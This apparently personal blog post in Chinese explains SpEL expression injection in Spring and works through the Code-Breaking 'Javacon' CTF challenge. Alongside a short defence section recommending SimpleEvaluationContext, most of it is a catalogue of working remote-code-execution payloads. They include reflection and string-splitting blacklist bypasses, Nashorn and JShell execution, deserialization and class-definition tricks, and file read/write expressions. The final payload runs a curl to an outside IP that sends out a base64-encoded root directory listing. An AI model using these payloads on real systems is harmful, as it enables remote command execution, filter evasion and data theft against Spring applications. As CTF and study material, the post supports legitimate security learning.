SPEL

发布时间 2023-03-22 21:09:28作者: vitara

前言

在P神18年出的javacon这道题中遇到了利用SpEL表达式绕过黑名单,看完wp后决定来学学。

什么是SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。

SpEL API

  1. 创建解析器:SpEL 使用ExpressionPrarser接口表示解析器, 提供SpelExpressionParser默认实现
  2. 解析表达式:使ExpressionParser的parserExpression 来解析相应的表达式为Expression 对象
  3. 求值:提供Expression 接口的getValue方法根据上下文获得表达式
//SpEL主要代码
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}

SpEL语法

SpEL表达式有很多特效:

  1. 使用Bean的ID来引用Bean
  2. 可调用方法和访问对象属性
  3. 可对值进行算数、关系和逻辑运算
  4. 可使用正则表达式进行匹配
  5. 可进行集合操作(?)

SpEL使用#{...}作为定界符,我们可以在其中使用运算符,变量以及引用Bean

  • 引用其他对象:#
  • 引用其他对象的属性:#
  • 引用其他对象的方法:#

其中属性名称引用还可以用$符号,如${someProperty}。使用T()运算符会调用类作用域的方法和常量。例如在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算 符: #{T(java.lang.Math)} T()运算符的结果会返回一个java.lang.Math类对象 看到这里,就有点感觉了,根据上面所说的,他会解析里面的东西,又可以返回一个对象,调用相应的方 法,那就可能会存在一定的安全问题 那可能就可以这样T(java.lang.Runtime).getRuntime().exec("calc")达到一个命令执行的效 果了

SpEL安全漏洞

spEL表达式是可以操作类和方法的,可以通过类型表达式T(Type)来调用任意类方法,这是因为在不指定EvaluationContext的情况下默认采用StandardEvaluationContext,而它包含了spEL的所有功能,在允许用户控制输入的情况下可以造成任意命令执行

public static void main(String[] args) thorws Exception{
	String spel = "T(java.lang.Runtime).getRuntime().maxMemory()";
	ExpressionParser parser = new SpelExpressionParser();
	Expression expression = parser.parserExpression(spel);
	System.out.println(expression.getValue());
}

例如这个例子,执行用户传入的任意命令,但当用户传入T(java.lang.Runtime).getRuntime().maxMemory()表达式后便会执行某些方法,存在spEL表达式注入的安全风险。

防御方法

最直接的防御方法就是使用SimpleEvaluationContext替换StandardEvaluationContext

官方文档:SimpleEvaluationContext的API官方文档

    private static void test3() {
        //执行shell脚本
        String spel = "T(java.lang.Runtime).getRuntime().maxMemory()";
        ExpressionParser parser = new SpelExpressionParser();
        Student student = new Student();
        //只读属性
        EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        //绑定数据
//        context.setVariable("student", student);
        Expression expression = parser.parseExpression(spel);
        System.out.println(expression.getValue(context));
    }

SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的

注入回显

  • 使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件。。
T(org.apach.commons.io.IOUtils).toString(payload).getInputStream()
  • 使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Method[6].invoke(null,{}).eval('whatever java code in one statement').toString

原生类

BufferedReader

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

这种方式缺点也很明显,只能读取一行,如果执行dir ./命令就凉了,但单行输出还是可以用的

Scanner

new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

bypass

原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
  • 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
  • 绕过getClass()过滤
''.getClass 替换为 ''.class.getSuperclass().class
''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
  • url编码绕过
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char转字符串,再字符串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
  • JavaScript
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
  • JavaScript+反射
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
  • JavaScript+URL编码
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
  • Jshell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

一些TIPS......

  • 绕过T( 过滤
T%00(new)
这涉及到SpEL对字符的编码,%00会被直接替换为空
  • 使用Spring工具类反序列化,绕过new关键字
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 可以结合CC链食用
  • 使用Spring工具类执行自定义类的静态代码块
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

需要在自定义类写静态代码块 static{}

读写文件

  • nio读文件
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))
  • nio写文件
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)

SpEL实践

Code-Breaking Javacon

从登录看起

 @PostMapping({"/login"})
    public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
        if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
            session.setAttribute("username", username);
            if (isRemember != null && !isRemember.equals("")) {
                Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
                c.setMaxAge(2592000);
                response.addCookie(c);
            }

            return "redirect:/";
        } else {
            return "redirect:/login-error";
        }
    }

判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie。最后跳转hello.html

<h2 th:text="'Hello, ' + ${session.username}"></h2>

打开页面后其中比较敏感的一个操作就是对Cookie的处理,如下

@GetMapping
    public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
        if(rememberMeValue != null && !rememberMeValue.equals("")) {
            String username = this.userConfig.decryptRememberMe(rememberMeValue);
            if(username != null) {
                session.setAttribute("username", username);
            }
        }
 
        Object username = session.getAttribute("username");
        if(username != null && !username.toString().equals("")) {
            model.addAttribute("name", this.getAdvanceValue(username.toString()));
            return "hello";
        } else {
            return "redirect:/login";
        }
    }

程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute,接下来可以看到this.getAdvanceValue(username.toString())

@ExceptionHandler({HttpClientErrorException.class})
    @ResponseStatus(HttpStatus.FORBIDDEN)
    public String handleForbiddenException() {
        return "forbidden";
    }
 
    private String getAdvanceValue(String val) {
        String[] var2 = this.keyworkProperties.getBlacklist();
        int var3 = var2.length;
 
        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if(matcher.find()) {
                throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
            }
        }
 
        ParserContext parserContext = new TemplateParserContext();
        Expression exp = this.parser.parseExpression(val, parserContext);
        SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }

其实就是与其跟黑名单做正则匹配,如果匹配成功则抛出HttpStatus.FORBIDDEN,如果没有匹配到则进行正常流程,在SmallEvaluationContext进行SpEL表达式解析。注意,这里就存在El表达式注入的问题了。

payload

System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl 192.168.127.129:2345/`ls /|base64|tr \"\n\" \"-\"`'})}"));

参考

https://www.cnblogs.com/bitterz/p/15206255.html#回显实验

http://rui0.cn/archives/1043